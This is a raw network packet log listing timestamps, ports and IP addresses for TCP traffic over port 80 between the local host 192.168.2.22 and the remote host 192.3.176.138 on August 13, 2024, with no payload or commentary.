Aug 13, 2024 20:24:37.679816008 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679831982 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679847002 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679852009 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679872990 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679897070 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679932117 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679946899 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679960966 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679966927 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679976940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679989100 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679996014 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680010080 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680015087 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680037022 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680037022 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680058956 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680125952 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680136919 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680190086 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680212021 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680227995 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680265903 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680270910 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680284023 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680299044 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680313110 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680316925 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680332899 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680342913 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680349112 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680358887 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680371046 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680377007 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680387020 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680428028 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680428028 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680434942 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680453062 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680466890 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680490971 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680505037 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680506945 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680525064 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.680536032 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680536032 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680561066 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.680758953 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.681277037 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681293964 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681308985 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681332111 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681345940 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.681349993 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681364059 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.681366920 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.681391954 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.681391954 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.681421041 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747150898 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747216940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747224092 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747262955 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747270107 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747304916 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747339010 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747370958 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747375011 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747375965 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747415066 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747423887 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747457981 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747492075 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747505903 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747509956 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747543097 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747560978 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747586012 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747591972 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747627020 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747636080 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747661114 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747663975 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747715950 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747765064 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747780085 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747802019 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747806072 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747836113 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747869968 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747893095 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747903109 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747906923 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747936964 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747951031 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.747972012 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.747980118 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748003960 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748023033 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748039007 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748047113 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748071909 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748081923 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748106956 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748115063 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748138905 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748152018 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748174906 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748183966 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748209000 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748218060 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748243093 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748243093 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748276949 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748308897 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748313904 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748323917 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748347998 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748357058 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748383045 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748399973 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748425961 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748436928 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748471022 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748517990 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748518944 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748543978 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748589993 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748594046 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748627901 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748656988 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748662949 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748712063 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748713017 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748749018 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748756886 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748783112 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748799086 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748817921 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748823881 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748851061 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748864889 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748884916 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748891115 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748918056 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748951912 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748966932 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.748985052 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.748991966 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749022007 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749027014 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749056101 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749073982 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749089956 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749123096 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749136925 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749157906 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749159098 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749191046 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749214888 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749231100 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749241114 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749274969 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749284029 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749315977 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749327898 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749361992 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749375105 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749394894 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749422073 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749429941 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749440908 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749476910 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749486923 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749521971 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749567032 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749573946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749608994 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749631882 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749643087 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749656916 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749686003 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749701977 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749717951 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749749899 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749783039 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749793053 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749814034 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749818087 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749833107 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749854088 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749862909 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749888897 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.749897957 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.749938011 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750123024 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750190020 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750195980 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750241041 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750272989 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750304937 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750320911 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750324011 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750368118 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750375032 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750407934 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750418901 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750442028 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750454903 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750475883 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750488043 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750524044 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750528097 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750560999 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750574112 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750596046 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750598907 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750629902 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750658989 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750668049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750677109 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750701904 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750730991 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750737906 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750771999 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750772953 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750787973 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750806093 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750819921 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750843048 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.750854015 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.750885963 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751034975 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751068115 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751120090 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751121998 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751156092 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751166105 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751190901 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751207113 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751224041 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751234055 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751270056 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751276970 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751310110 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751332998 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751343966 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751357079 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751379013 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751389027 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751411915 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751422882 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751446009 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751454115 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751478910 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751503944 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751513004 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751519918 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751549006 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751559973 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751578093 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.751602888 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.751621008 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833161116 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833246946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833281994 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833292961 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833314896 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833332062 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833333015 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833369970 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833424091 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833430052 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833462000 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833487034 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833494902 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833508968 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833547115 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833554983 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833597898 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833607912 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833632946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833661079 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833682060 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833683014 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833718061 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833739996 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833751917 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833764076 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833801985 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833801985 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833841085 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833856106 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833874941 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833901882 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833923101 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.833928108 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.833981991 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834007025 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834044933 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834069967 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834095001 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834101915 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834130049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834161997 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834166050 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834177971 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834198952 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834238052 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834254026 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834270954 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834287882 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834323883 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834333897 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834372044 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834374905 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834409952 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834441900 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834441900 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834459066 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834475994 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834491014 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834527016 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834527969 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834562063 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834588051 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834615946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834618092 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834650993 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834681988 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.834683895 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.834701061 CEST	49165	80	192.168.2.22	192.3.176.138
